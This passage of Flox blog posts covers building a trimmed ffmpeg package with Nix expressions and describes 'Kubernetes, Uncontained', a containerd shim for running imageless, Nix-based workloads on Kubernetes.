edge cases or especially challenging builds. Plus, if you already use Nix and/or have custom Nix expressions of your own, you can reuse these too. One other thing: if you’re _only_ building with Nix expressions, you needn’t do anything with your manifest. Just run **`flox init`** to initialize a Flox environment, copy your Nix expression(s) into `.flox/pkgs`, and go. Let’s get started. For this build example, we’ll take [the generic **ffmpeg`**](https://github.com/NixOS/nixpkgs/blob/master/pkgs/development/libraries/ffmpeg/generic.nix) Nix expression from `nixpkgs` and cut it down—from 1,024 lines to [just 224](https://github.com/barstoolbluz/ffmpeg/blob/main/package.nix). We’ll skip the work involved in doing this; the purpose of this example is to demonstrate building a complex project in a sandbox with Nix expressions. You can copy [this package.nix](https://github.com/barstoolbluz/ffmpeg/blob/main/package.nix) if you’d like to LARP-build on your own: ``` % flox build Building ffmpeg-custom-7.0.2 in Nix expression mode this derivation will be built: /nix/store/598wnnc6d8ww776mpq5w522aj9yka7h4-ffmpeg-custom-7.0.2.drv building '/nix/store/598wnnc6d8ww776mpq5w522aj9yka7h4-ffmpeg-custom-7.0.2.drv'... ffmpeg-custom> Running phase: unpackPhase ffmpeg-custom> unpacking source archive /nix/store/f3im09myi2w1v4m1bzmawz26hmir2xbc-source ffmpeg-custom> source root is source ffmpeg-custom> Running phase: patchPhase … ffmpeg-custom> Running phase: configurePhase ffmpeg-custom> patching script interpreter paths in ./configure … ffmpeg-custom> Running phase: buildPhase ffmpeg-custom> build flags: -j4 SHELL=/nix/store/38rycfnr06w9iv5mq5cyjcwk6vi8bl8d-bash-5.2p37/bin/bash … ffmpeg-custom> Running phase: fixupPhase ffmpeg-custom> checking for references to /private/tmp/nix-build-ffmpeg-custom-7.0.2.drv-0/ in /nix/store/xrw4qp9qgw0ldgvcgyxvsd852c7cyf6w-ffmpeg-custom-7.0.2... ffmpeg-custom> gzipping man pages under /nix/store/xrw4qp9qgw0ldgvcgyxvsd852c7cyf6w-ffmpeg-custom-7.0.2/share/man/ ffmpeg-custom> patching script interpreter paths in /nix/store/xrw4qp9qgw0ldgvcgyxvsd852c7cyf6w-ffmpeg-custom-7.0.2 ffmpeg-custom> stripping (with command strip and flags -S) in /nix/store/xrw4qp9qgw0ldgvcgyxvsd852c7cyf6w-ffmpeg-custom-7.0.2/lib /nix/store/xrw4qp9qgw0ldgvcgyxvsd852c7cyf6w-ffmpeg-custom-7.0.2/bin Completed build of ffmpeg-custom-7.0.2 in Nix expression mode ✨ Build completed successfully. Output created: ./result-package ``` ####**Note**: The complete build output generated >5,000 lines; the "`…`" indicate abridged output. Once you’re done, just run **`flox publish`** to publish your custom **`ffmpeg`** package to the Flox catalog. Once it’s published, you can search, show information about it, or install it just like you would any package: ``` % flox search ffmpeg barstoolbluz/ffmpeg FFmpeg with full codec support barstoolbluz/ffmpeg-linux FFmpeg with rich support for audio codecs + containers barstoolbluz/ffmpeg-darwin FFmpeg with rich support for audio codecs + containers ffmpeg Complete, cross-platform solution to record, convert and stream audio and video ffmpeg_2 A complete, cross-platform solution to record, convert and stream audio and video ffmpeg_3 A complete, cross-platform solution to record, convert and stream audio and video % flox show barstoolbluz/ffmpeg-darwin barstoolbluz/ffmpeg-darwin - FFmpeg with rich support for audio codecs + containers barstoolbluz/ffmpeg-darwin@7.1 (x86_64-darwin only) % flox install barstoolbluz/ffmpeg-darwin ⚠️ 'barstoolbluz/ffmpeg-darwin' installed only for the following systems: x86_64-darwin ``` This is just a minimal, customized **`ffmpeg`** build. If you want to, you could copy the complete 1,024-line **`ffmpeg`** Nix expression from `nixpkgs` and build _that_ on macOS, too—inside a Nix sandbox. This would produce a closure (i.e., a package that includes ffmpeg and all its runtime dependencies) of larger than 1 GB. Not only will it just build, it will just work when you go to run it—anywhere. ## 3. Nix Expressions: Helpful Resources and Context If you don’t already use Nix and can’t speak the Nix language, why would you build using Nix expressions? The most compelling reason is the hermetic reliability of the Nix sandbox: a Nix expression that “just builds” against a specific Git tag/release will _always_ “just build” against that tag/release—across time (one year, five years, a decade from now) and space: locally, in a VM, in the cloud. When you build with Nix expressions, you’re completely decoupling your builds from the specifics and _vicissitudes_ of languages and toolchains. By contrast, whether they run inside or outside a sandbox, Flox manifest builds always _pass imperative build steps to Nix_; while convenient, this pattern does not give you the functional automaticity of Nix expressions. Learning the Nix language isn’t easy, but Nix provides a few affordances to help you get started: - **If you’re defining custom builds of software in `nixpkgs`**. You can reuse and adapt upstream expressions—just like we did with **`ffmpeg`**. The beauty of this is that upstream maintainers have already figured out the dependencies and steps required to build on every platform their packages support. This gives you a reliable way to build, publish, and reuse custom, lean versions of upstream Nix packages across your projects. - **If you're writing Nix expressions for software builds**. Nix provides an assortment of helpers for common builds and language frameworks. So instead of authoring `stdenv.mkDerivation` boilerplate, you can rely on [pre-built wrappers designed for each language ecosystem](https://nixos.org/manual/nixpkgs/stable/#chap-language-support). [Wrapper functions](https://nixos.org/manual/nixpkgs/stable/#chap-trivial-builders) like `runCommand` and `runCommandCC` are lightweight derivation generators built on top of `stdenv.mkDerivation`; these inherit all the standard build infrastructure that Nix sets up automatically. The upshot: you don’t need to write it yourself. - **If you need to sanitize your build outputs**. Nix and Nixpkgs provide a variety of post-install hooks and tools—like **[patchShebangs](https://nixos.org/manual/nixpkgs/stable/#patch-shebangs.sh)** and **[removeReferencesTo](https://nixos.org/manual/nixpkgs/stable/#fun-remove-references-to)**—designed to make your build artifacts platform- and environment-agnostic. For example, defining a **`removeReferencesTo`** step in your Nix expression strips build-time references from your package, like absolute paths to build dependencies (e.g., **`/nix/store/7lq8m3s0d2h9rjv4k5c6bn1pxafyzwga-gcc-13.2.0/bin/gcc`**), compiler and/or toolchain paths (GCC, especially, tends to inject local state into artifacts), and other environment-specific details. One other important note: [coding agents aren’t at all bad at Nix expressions](https://flox.dev/blog/next-level-agentic-development-with-flox/); working with Cursor, Copilot, or Claude Code can usually get you 95% or more of the way to a working Nix expression. Debugging with them in follow-up prompts almost always does the rest. ## 4. That’s a Wrap Whether you’re building with manifest recipes or Nix expressions, Flox lets you reuse your existing build logic while gaining the benefits of fully reproducible builds. You can start simple—by packaging an internal tool or scripting a one-off build—and create more complex declarative pipelines over time. If you’re curious to see how reproducible builds fit into your own work, try **`git clone`**-ing and building [a few Nix expressions](https://github.com/barstoolbluz/nix-ai-tools) on your own. Then run **`flox publish`** to publish what you've built to the Flox Catalog. From there, you and your teammates can easily pull and use your packages by defining them in shareable, reproducible Flox environments. [FloxHub](https://hub.flox.dev) makes it easy to publish, version, audit, and remotely run environments, as well as control who uses them. You can even switch/roll back between generations—all in one place. [1] ####**Note**: This build example makes major customizations to the upstream **`ffmpeg`** package. We pin to a specific version to proactively insulate against upstream changes and keep our build reproducible. The recommended best practice for customizing Nix packages is to define [overrides](https://nixos.org/guides/nix-pills/17-nixpkgs-overriding-packages.html) for the specific parts you plan to modify. If, however, you need to make significant changes, or if the package is being removed from `nixpkgs` upstream, it makes sense to copy the package’s expression and then modify it to fit your needs. Title: Kubernetes, Uncontained: Unlocking Faster, More Reproducible Deployments on K8s Source: https://flox.dev/blog/kubernetes-uncontained-explained-unlocking-faster-more-reproducible-deployments-on-k8s/ Date: 2025-11-10 Category: guide # Kubernetes, Uncontained: Unlocking Faster, More Reproducible Deployments on K8s Flox lets you run imageless workloads on Kubernetes using declarative environments in Pod templates for faster, more reproducible deployments. Kubernetes delivers a rock-solid, highly available foundation for running and scaling workloads. Its superpower is extensibility. From the start, Kubernetes was built like an operating system for cloud-native workloads: It defines a “kernel” (the control plane), elegant, well-defined APIs, and background services—controllers and operators—that reconcile cluster state. Driver-style plug-ins ([CRI](https://kubernetes.io/docs/concepts/containers/cri/) for runtime, [CNI](http://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/) for networking, [CSI](https://kubernetes.io/blog/2019/01/15/container-storage-interface-ga/) for storage) plus [CRDs](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) and [operators](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/) let teams extend and swap components without modifying this core. With **Kubernetes, Uncontained**, Flox builds on that extensibility to run _imageless_ container workloads. Instead of pulling digest-pinned images, you simply reference declarative Flox environments in your Pod templates. On start, a Flox-maintained [containerd shim](https://kubernetes.io/docs/setup/production-environment/container-runtimes/) pulls the versioned environment from FloxHub and realizes dependencies into an immutable, hash-addressed node-local store. This gives you fast, predictable deployments. Other benefits include: - **No registry push/pull cycles for updates.**. CI updates a reference in a Pod template instead of rebuilding and pushing images. - **No more runtime image pulls/unpacks**. Mount hash-addressed package paths from a read-only, node-local cache; pull in _only_ required dependencies, no base image bloat. - **One environment, everywhere**. The same declarative env runs in dev → CI → prod. On x86 _and_ ARM. - **SBOMs by default**. Packages get persisted as SHA-256-hashed store paths to an immutable, node-local store. Dependencies defined in Flox environments map precisely to these store paths. This gives you tamper-evident provenance by construction. Even better, it means the set of store paths _is_ the SBOM. - **Simplified CI pipelines, same CI patterns**. Keep your CI as-is; cut down on image rebuilds and registry round-trips. and atomic roll backs with one-line changes. This article shows how **Kubernetes, Uncontained** plugs into Kubernetes itself—without changing its API. ## What is Kubernetes, Uncontained? Like [Kata Containers](https://katacontainers.io/) and [gVisor](https://gvisor.dev/), **Kubernetes, Uncontained** uses [CRI](https://kubernetes.io/docs/concepts/containers/cri/) hooks to control pod startup behavior. Notwithstanding its name, **Kubernetes, Uncontained** _still runs standard containers inside of pods_. At startup, Flox’s runtime shim loads a 49-byte **`flox/empty:1.0.0`** stub image. In this sense **Kubernetes, Uncontained** is an _imageless_ container pattern: **`flox/empty:1.0.0`** is an “image” only in a pedantic sense; it exists solely to comply with the CRI/OCI standard, while the container’s root filesystem is realized from the input-addressed Flox environment that the shim activates. This works because of the CRI: the locus of control at the **kubelet→containerd** boundary. When you define a **`RuntimeClass`** with **`handler: flox`** and set **`spec.runtimeClassName: flox`**, kubelet passes that handler to the runtime daemon (e.g., containerd) via CRI, which routes pod startup to the Flox shim. The upshot: the Flox shim changes _how the runtime realizes pods at startup_; **it doesn’t change how Kubernetes works**—you continue to use the same primitives and the same API. You submit the same manifests (Helm/Kustomize, GitOps PRs), target the same objects (Pods, Deployments, Jobs, CRDs), and use the same mechanics (apply/patch, watch, RBAC). Observability logs to **`stdout/stderr`**, events, metrics, and traces flow as they do today. The only change involves selecting a different runtime handler (**`spec.runtimeClassName: flox`**) and adding a Pod template annotation (**`flox.dev/environment`**). Your security, compliance, policy, and process layers plug in exactly as they do now. Kubernetes admission control can gate on the Flox environment annotation in the Pod template and its SBOM—just as it gates on image digests today. OIDC/IAM, SSO, audit policies, quotas, and admission-time policy engines remain in force; registries plus file/image scanners keep working. **Kubernetes stays Kubernetes**—Flox changes _how the pod is realized at start_, not your operational investments—and definitely not the Kubernetes API. ### **How imageless Kubernetes works** The Flox‑maintained shim is exactly that: a shim, much like the containerd shim Kubernetes uses on cluster nodes. It registers as an additional containerd runtime and sits alongside this default one. It’s small (≈20 MB, versus ≈20–25 MB for the standard containerd shim) and can safely coexist on the same node. * Opt‑in at the Pod level. You set runtimeClassName: flox in the Pod/Deployment. Kubernetes maps this to a RuntimeClass whose handler is flox (typically paired with a nodeSelector for labeled nodes). * Schedule to capable nodes. The scheduler uses RuntimeClass.scheduling.nodeSelector to place the Pod on nodes labeled, for example, flox.dev/enabled=true. * Hand off to the CRI/runtime. On the target node, kubelet calls the CRI with the runtime handler flox. containerd looks up flox in its config and launches containerd-shim-flox-v2 (i.e., the Flox shim). * Generate OCI-compliant spec. containerd generates the OCI config.json, which defines namespaces, mounts, commands, etc. for the container. * Prepare the environment. The shim pulls the specified Flox environment; fetches packages that aren’t already available in the node’s immutable store; amends the OCI config.json with required bind-mounts and the Flox activation wrapper; and verifies that mount targets exist in the bundle’s rootfs/. * Create the container. The shim invokes runc to create/start the container; runc performs the mounts defined by the OCI config.json spec in the previous step. The result is fast, predictable startup, with most bytes reused from the node-local cache. Every dependency running in the environment is input-addressed by its hash, so reproducibility is baked in. By labeling nodes that have the Flox runtime installed (e.g., flox.dev/enabled=true) and configuring the RuntimeClass with a matching nodeSelector, Flox-managed pods are only scheduled on nodes with the Flox shim. If you omit or delete runtimeClassName from a Pod spec, you revert to stock behavior: Kubernetes simply uses the default containerd shim. Kubernetes, Uncontained is a drop-in pattern that keeps Kubernetes as the control plane, adds a targeted, optional runtime, and leaves everything else untouched. The benefits of Nix-Powered Kubernetes deployments ## Declarativity, uncontained The Kubernetes API is a canonical example of the declarative or “desired-state” model at work: You declare a desired state, expressing it in YAML or JSON, and the Kubernetes API server persists this as a validated, versioned object, encoding your intent in the object’s **`.spec`** field. Kubernetes controllers watch these objects, reconciling the observed state of the cluster toward the desired state as materialized in the **`.spec`**. But while Kubernetes _deployments_ are declarative, the workloads they declare are not. A Dockerfile is not, by itself, declarative. An image pinned by digest is not declarative. Creating Dockerfiles that build deterministic images—i.e., the same digest hash, at any time, on any machine—requires a combination of sustained discipline…and luck. In many orgs, this is so difficult as to be practically impossible. [Flox, powered by Nix](https://flox.dev/blog/enterprise-nix-its-time-to-bring-nix-to-work/), closes this gap, bringing the virtues of the declarative, desired-state model to Kubernetes _workloads_ as well. Nix works by modeling a build or runtime environment as a purely functional [derivation](https://nix.dev/manual/nix/2.20/glossary). A derivation is a declarative build recipe that lists all of the inputs (including not just sources, but environment variables, build flags, steps, etc.) that go into building and packaging software. A Nix package is a _content-addressed dependency set_: not just an application, tool, service, etc., but all of its transitive dependencies. These outputs live in [an immutable store](https://nixos.org/guides/nix-pills/18-nix-store-paths.html) at paths like **`/nix/store/-`**, where the **``** is always derived from the environment’s declared inputs. **Kubernetes, Uncontained** isn’t in any sense an unproven pattern. Anthropic [uses something similar](https://www.socallinuxexpo.org/scale/22x/presentations/docker-was-too-slow-so-we-replaced-it-nix-production/) in its environment. Separately, [companies like SysEleven](https://flox.dev/nixinthewild/nix-in-the-wild-syseleven/), one of Germany’s most popular cloud services providers, trusts Nix to bring declarative determinism to its Kubernetes workloads—including, surprisingly, its CRDs. Though nominally declarative, these are difficult to package and version reproducibly. Nix gets it right every time. ## Reproducibility, uncontained Both Flox environments and container images enable build-time and runtime reproducibility, but of different kinds, and in different ways. Much like the difference between a photographic negative (a container image) and an ideal recipe (Nix/Flox), a container image preserves an exact snapshot of an already-realized state; a Nix or Flox environment describes _how to realize that state_ using a pinned set of ingredients. Another good metaphor is that of [genotype versus phenotype](https://en.wikipedia.org/wiki/Genotype%E2%80%93phenotype_distinction): a Flox environment encodes the pinned “genotype” (e.g., build inputs and dependency graph) used to produce the realized “phenotype” of a runtime; a container image, by contrast, _is_ this phenotype. You can clone the container image and reproduce the phenotype bit-for-bit. In the same way, you can use the Flox environment to regenerate exactly the same phenotype, bit-for-bit, but you can _also_ “mutate” the genotype: i.e., change versions of dependencies, add or subtract dependencies, swap in new ones. Why would you want or need to “mutate” this spec? For many of the same reasons you “want” or need to rebuild container images: - You’re testing/staging dependency upgrades, validating behavior and/or regressions before promoting. - You’re rolling back, patching, or removing vulnerable dependencies in response to a zero-days or CVE. - You’re A/B testing and want to compare the behavior of dependencies in a controlled environment. - You’re changing build flags/hardening (LTO/PIE/FORTIFY, static vs dynamic, musl vs glibc). ### Traditional building + testing + shipping with container images With container images, the workflow for each of these tasks usually looks like this: After a few push–pull test cycles, teams bless an image for production. They reference it by digest in the Pod template and may also push a tag like **`prod`** to that digest in the registry. In most cases, then, the actual workflow used to produce or maintain a container image looks like this: In this image-centric pipeline, the digest is the unit of change and promotion: updates require rebuilding, scanning/signing, pushing to a registry, pulling for tests, retagging, and deploying. This pattern is tightly coupled to registries and requires wasteful round-trips. It entails operational overhead even for small changes. ## Your workloads, uncontained By contrast, **Kubernetes, Uncontained** replaces the image-centric push-pull cycle with a declarative, reference-driven workflow that radically simplifies your CI pipelines. You publish an immutable generation to FloxHub, reference it in the Pod spec, and the Flox runtime realizes the pinned dependency set at pod start. This shortens CI runs, cuts down on operator effort, and reduces registry bandwidth/storage/egress. The imageless variation of this workflow looks like this: For the tasks described in **Section 3**, above, **Kubernetes, Uncontained** eliminates hours of **build → push → pull** testing loops, along with gigabytes of registry storage and egress costs. Let’s say you’re A/B testing ML models. Switching between models is as simple as commenting/uncommenting package definitions in a declarative Flox environment definition. You could even create separate environment definitions and test them against one another. There’s no waste or overhead from building, pushing, and pulling two separate multi-gigabyte images. On first start per node, the Flox shim fetches only dependencies that aren’t already cached, so models load once and get reused across pods. (This pattern gives you **zero-copy model serving**). Once you determine which model performs better, you can promote it by editing a single reference; if you run into issues in prod, you can roll back the same way. ## Security and compliance, uncontained **Kubernetes, Uncontained** makes it much easier and faster to respond to zero-days, remediate CVEs, and demonstrate compliance, too. Don’t believe me? Let’s walk through it. First, each Flox environment defines an _input-addressed dependency set_, so the runtime software that powers your workloads is always pinned to an SHA-256 hash. Second, this software comes from the Flox Catalog, which uses [Nixpkgs](https://github.com/NixOS/nixpkgs)—the world’s best-maintained repository of open source software—as its upstream. It’s built in a hermetic sandbox using purely functional Nix expressions, so every build input—packages, env vars, feature flags, build steps, etc.—is declaratively defined. The upshot: What’s defined in your Flox manifest is what’s in your runtime—and traceable back to its source. What does this give you? - **Baked in provenance**. Every workload running in your pods is pinned to a fixed generation or content-addressed digest. You get a tamper-evident chain from sources and build inputs to runtime packages. - **SBOMs by default**. _The dependency graph itself_ emits deterministic build-time and runtime SBOMs, giving you **build-graph attestation**: proof derived from declared input hashes, not inferred after the fact. - **Atomic rollbacks**. Reverting involves a one-line change to your Pods’ template spec, specifying a prior generation. You get fast, deterministic rollouts without image rebuilds and registry round trips. - **Policy-enforced deployments**. At [admission](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/), you can require that **(a)** a valid SBOM exists for each Flox environment’s generation; **(b)** the Flox environment referenced in the Pod’s spec template matches that generation/digest, and **(c)** this SBOM complies with your CVE policy. Otherwise the rollout is rejected. - **Determinism across the SDLC**. The same Flox environment—a content-addressed dependency set—runs on laptops, in CI, and on production Kubernetes clusters. Workloads run reproducibly: anytime, anywhere. Say that a new CVE is released. You query your SBOMs to identify affected workloads. Flox’s SBOMs-by-construction design gives you a list of all your vulnerable deployments; no rescanning required. “Patching” vulnerable Flox environments involves editing their manifests, pushing new generations to FloxHub, and referencing these generations in your Pod spec templates. From there, you can run regression tests against any changed references, promote them through UAT and/or staging, and roll them into production. Your Kubernetes admission controllers verify the new SBOMs against policy at each step. You get rapid identification, simplified testing, and an auditable chain from remediation to runtime. You didn’t have to rebuild, push, pull, test, debug, and repeat (_da capo_) a single image. ## **Why Flox (powered by Nix)?** All of this invites a question: How or why is this a problem for Flox to solve? Because running workloads reproducibly on Kubernetes is also a software packaging problem. By themselves, OCI images do not guarantee the provenance, traceability, and (as it were) “identity” of the artifacts they contain. The one thing OCI images can guarantee is that these packages haven’t been tampered with after being pushed to a registry and pinned to a digest hash. But even though the Dockerfile or lockfiles you use to build your OCI images might specify the same versions of packages, are these packages in fact identical to the ones you validated at build time? That is, do they contain exactly the same bits? To get this assurance, you need an input- or content-addressed building and packaging step. Package management is, then, the “last mile” in workload reproducibility—on Kubernetes or anywhere. So why [Flox](https://flox.dev)? Because Flox is powered by [Nix](https://flox.dev/blog/nix-pure-genius/), the open source package/environment manager and universal build system. Deterministic building and packaging is one of Nix’s superpowers. Flox brings that superpower to everybody by surfacing intuitive ergonomics—Git-like CLI semantics; declarative environment definitions expressed as TOML—that abstract Nix’s complexity. And beyond what Nix itself provides, Flox adds a managed, curated catalog of software and a hosted hub that function as a shared system of record for environment versions (called “generations”), SBOMs, promotion/rollback, CVE remediation, and so on. ## Ready to Go Uncontained? **Kubernetes, Uncontained** paves the last mile in Kubernetes-driven and GitOps workflows. That last mile is **software packaging**: the content- or input-addressed build step that binds what you _intend_ to run—your declared state—to the workloads that actually run in your Kubernetes pods. With **Kubernetes, Uncontained**, you make changes to a declarative Flox definition, push that to FloxHub, change a single line in your workload’s Kubernetes Pod spec, and run. That’s it. You test, ship, deploy, and/or roll back faster, easier, and more reliably—without building and testing images locally, then pushing them to a registry...only to pull, run, and test them again in CI. That vicious build-push-pull-repeat cycle just goes away. What you get: Ready to go Uncontained? Get started [here](https://flox.dev/kubernetes/)! ## FAQs about Kubernetes, Nix and Flox ### How does imageless Kubernetes with Flox differ from standard container deployments? Unlike traditional deployments that rely on pulling pre-built OCI images from a registry, this approach uses a runtime shim to realize declarative environments directly on the node at startup. By referencing a specific environment version in the Pod template, the system fetches only the necessary dependencies into a node-local cache rather than downloading and unpacking a monolithic image. ### Can I use Nix-based deployments without changing my Kubernetes API? Yes. It integrates seamlessly with your existing cluster by acting as a plug-in via the Container Runtime Interface (CRI) without altering the Kubernetes API. You continue to use standard manifests and operational tools. This allows the declarative runtime to coexist alongside standard container workloads on the same nodes without disrupting current workflows. ### How does an imageless workflow improve CI/CD pipeline efficiency? It accelerates CI/CD pipelines by removing the time-consuming steps of rebuilding, signing, and transferring heavy container images for every code change. Developers simply update a reference in the Pod template, allowing the runtime to fetch only the changed dependencies. This streamlined process reduces bandwidth usage and storage costs while enabling atomic rollbacks through simple configuration updates. ### What are the security benefits of using declarative environments for workloads? You can quickly generate a comprehensive Software Bill of Materials (SBOM). Because the software is stored in an immutable store, the system provides tamper-evident provenance that links runtime artifacts directly back to their build inputs. This structure allows for immediate identification of vulnerable workloads and simplifies compliance without relying on post-build image scanners. Title: With Kubernetes Uncontained, Flox Unlocks Faster, More Reproducible Deployments on K8s Source: https://flox.dev/blog/with-kubernetes-uncontained-flox-unlocks-faster-more-reproducible-workloads-on-k8s/ Date: 2025-11-10 Category: guide # With Kubernetes Uncontained, Flox Unlocks Faster, More Reproducible Deployments on K8s Kubernetes, Uncontained lets you run imageless workloads on Kubernetes. Workloads start faster, run more reproducibly. Kubernetes delivers a rock-solid, highly available foundation for running and scaling workloads. Its superpower is extensibility. From the start, Kubernetes was built like an operating system for cloud-native workloads: It defines a “kernel” (the control plane), elegant, well-defined APIs, and background services—controllers and operators—that reconcile cluster state. Driver-style plug-ins ([CRI](https://kubernetes.io/docs/concepts/containers/cri/) for runtime, [CNI](http://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/) for networking, [CSI](https://kubernetes.io/blog/2019/01/15/container-storage-interface-ga/) for storage) plus [CRDs](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) and [operators](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/) let teams extend and swap components without modifying this core. With **Kubernetes, Uncontained**, Flox builds on that extensibility to run _imageless_ container workloads. Instead of pulling digest-pinned images, you simply reference declarative Flox environments in your Pod templates. On start, a Flox-maintained [containerd shim](https://kubernetes.io/docs/setup/production-environment/container-runtimes/) pulls the versioned environment from FloxHub and realizes dependencies into an immutable, hash-addressed node-local store. This gives you fast, predictable deployments. Other benefits include: - **No registry push/pull cycles for updates**. CI updates a reference in a Pod template instead of rebuilding and pushing images. - **No more runtime image pulls/unpacks**. The shim activates the environment and mounts hash-addressed paths from a read-only, node-local cache. - **One environment, everywhere**. The same declarative env runs in dev → CI → prod. On x86 and ARM. - **SBOMs by default**. Packages get persisted as SHA-256-hashed store paths to an immutable, node-local store. Dependencies defined in Flox environments map precisely to these store paths. This gives you tamper-evident provenance by construction. Even better, it means the set of store paths _is_ the SBOM. - **Simplified CI pipelines, same CI patterns**. Keep your CI as-is; cut down on image rebuilds and registry round-trips. Bonus: You get provenance by construction and atomic roll backs with one-line changes. The following article briefly walks through how **Kubernetes, Uncontained** plugs into Kubernetes itself—without changing its API. For a longer, in-depth overview, refer to [this article](https://flox.dev/blog/kubernetes-uncontained-explained.mdx), or read the docs [here](https://flox.dev/docs/k8s/intro/). ## Kubernetes, Uncontained Like [Kata Containers](https://katacontainers.io/) and [gVisor](https://gvisor.dev/), **Kubernetes, Uncontained** uses [CRI](https://kubernetes.io/docs/concepts/containers/cri/) hooks to control pod startup behavior. Notwithstanding its name, **Kubernetes, Uncontained** _still runs standard containers inside of pods_. At startup, Flox’s runtime shim loads a 49-byte **`flox/empty:1.0.0`** stub image. In this sense **Kubernetes, Uncontained** is an _imageless_ container pattern: **`flox/empty:1.0.0`** is an “image” only in a pedantic sense; it exists solely to comply with the CRI/OCI standard, while the container’s root filesystem is realized from the input-addressed Flox environment that the shim activates. This works because of the CRI: the locus of control at the **kubelet→containerd** boundary. When you define a **`RuntimeClass`** with **`handler: flox`** and set **`spec.runtimeClassName: flox`**, kubelet passes that handler to the runtime daemon (e.g., containerd) via CRI, which routes pod startup to the Flox shim. The upshot: the Flox shim **doesn’t change how Kubernetes works**—you continue to use the same primitives and the same API. You submit the same manifests (Helm/Kustomize, GitOps PRs), target the same objects (Pods, Deployments, Jobs, CRDs), and use the same mechanics (apply/patch, watch, RBAC). Observability logs to **`stdout/stderr`**, events, metrics, and traces flow as they do today. The only change involves selecting a different runtime handler (**`spec.runtimeClassName: flox`**) and adding a Pod template annotation (**`flox.dev/environment`**). Your security, compliance, and process layers plug in exactly as they do now. Kubernetes admission control can gate on the Flox environment annotation in the Pod template and its SBOM—just as it gates on image digests today. OIDC/IAM, SSO, audit policies, quotas, and admission-time policy engines remain in force; registries plus file/image scanners keep working. **Kubernetes stays Kubernetes**—Flox changes _how the pod is realized at start_, not your operational investments—and definitely not the Kubernetes API. ## Declarativity, Uncontained About that API: It’s a canonical example of the declarative or “desired-state” model at work: You declare a desired state, expressing it in YAML or JSON, and the Kubernetes API server persists this as a validated, versioned object, encoding your intent in the object’s **`.spec`** field. Kubernetes controllers watch these objects, reconciling the observed state of the cluster toward the desired state as materialized in the **`.spec`**. But while Kubernetes _deployments_ are declarative, the workloads they declare are not. A Dockerfile is not, by itself, declarative. An image pinned by digest is not declarative. Creating Dockerfiles that build deterministic images—i.e., the same digest hash, at any time, on any machine—requires a combination of sustained discipline…and luck. In many orgs, this is so difficult as to be practically impossible. Flox, powered by Nix, closes this gap, bringing the virtues of the declarative, desired-state model to Kubernetes _workloads_ as well. Nix works by modeling a build or runtime environment as a purely functional [derivation](https://nix.dev/manual/nix/2.20/glossary). A derivation is a declarative build recipe that lists all of the inputs (including not just sources, but environment variables, build flags, steps, etc.) that go into building and packaging software. A Nix package is a _content-addressed dependency set_: not just an application, tool, service, etc., but all of its transitive dependencies. These outputs live in [an immutable store](https://nixos.org/guides/nix-pills/18-nix-store-paths.html) at paths like **`/nix/store/-`**, where the **``** is always derived from the environment’s declared inputs. **Kubernetes, Uncontained** isn’t in any sense an unproven pattern. Anthropic [uses something similar](https://www.socallinuxexpo.org/scale/22x/presentations/docker-was-too-slow-so-we-replaced-it-nix-production/) in its environment. Separately, [companies like SysEleven](https://flox.dev/nixinthewild/nix-in-the-wild-syseleven/), one of Germany’s most popular cloud services providers, trusts Nix to bring declarative determinism to its Kubernetes workloads—including, surprisingly, its CRDs. Though nominally declarative, these are difficult to package and version reproducibly. Nix gets it right every time. ## Why Flox? All of this invites a question: How or why is this a problem for Flox to solve? Because running workloads reproducibly on Kubernertes is also a **software packaging** problem. By themselves, OCI images do not guarantee the provenance, traceability, and (as it were) “identity” of the artifacts they contain. The one thing OCI images _can_ guarantee is that these artifacts haven’t been tampered with after being pushed to a registry and pinned to a digest hash. But even though the Dockerfile or lockfiles you use to _build_ your OCI images might specify the same versions of packages, are these packages in fact _identical_ to the ones you validated at build time? That is, do they contain _exactly the same bits_? To get _this_ assurance, you need an input- or content-addressed building and packaging step. Package management is, then, the “last mile” in workload reproducibility—on Kubernetes or anywhere. So why Flox? Because Flox is powered by Nix, the open source package/environment manager and universal build system. Deterministic building and packaging is one of Nix’s superpowers. Flox brings that superpower to everybody by surfacing intuitive ergonomics—Git-like CLI semantics; declarative environment definitions expressed as TOML—that abstract Nix’s complexity. And beyond what Nix itself provides, Flox adds a managed, curated catalog of software and a hosted hub that function as a shared system of record for environment versions (called “generations”), SBOMs, promotion/rollback, CVE remediation, and so on. ## Benefits, Uncontained If Kubernetes lets you declare _what_ should run, **Kubernetes, Uncontained** lets you declare _what it is you’re running_. With **Kubernetes Uncontained**, controllers still reconcile desired state, but now your workload’s dependency graph, build flags, and inputs are part of that desired state, too. This gives you a declarative, reference-driven model from start to finish. From the moment a Deployment/Pod **.spec** gets applied, Kubernetes carries that declared intent forward—and, with Flox/Nix anchoring the last mile, binds the workload’s dependencies and build inputs to an immutable, hash-addressed reference. Benefits include: - **Declarative _workloads_**. Reference an immutable Flox generation in your Pod spec so the dependency graph, build flags, and inputs become part of desired state. - **One-line promotions and rollbacks**. Promoting or rolling back is as simple as changing a single line in your Pod template to specify a different generation (version) of a Flox environment. - **An end to the container rebuild push-pull loop**. `Replace build → push → pull → test → repeat` with `edit env → push to FloxHub → update reference → run`, shrinking cycle times. - **Shortened CI runs**. Skip per-change image builds and round-trips; test by reference. - **Reduced registry costs**. Cuts down on bandwidth, storage, and egress by pulling only what isn’t cached; avoids maintaining fleets of near-duplicate images. - **Zero-copy model reuse for ML/AI workloads**. Cache dependencies and models once per node; swap models by changing Flox environment generations in your Pod templates. - **Deterministic reproducibility across the SDLC**. The same hash-addressed environment runs identically in local dev, CI, and prod K8s clusters—on x86 or ARM—eliminating “works on my machine” incidents. - **Provenance by construction**. Input-addressed builds (from Nix/Nixpkgs) provide a tamper-evident chain from declared build inputs to runtime artifacts. - **SBOMs by default**. Deterministic build-time and runtime SBOMs derived from the dependency graph itself. - **Rapid CVE remediation**. Query SBOMs, edit manifests, push new generations, update Pod specs—no rebuild/push/pull loops. - **Policy-based runtime enforcement**. Kubernetes admission controllers can gate on a Flox environment’s generation and/or the SBOM that is a derived product of that generation. ## Ready to Go Uncontained? **Kubernetes, Uncontained** paves the last mile in Kubernetes-driven and GitOps workflows. That last mile is **software packaging**: the content- or input-addressed build step that binds what you _intend_ to run—your declared state—to the workloads that actually run in your Kubernetes pods. With 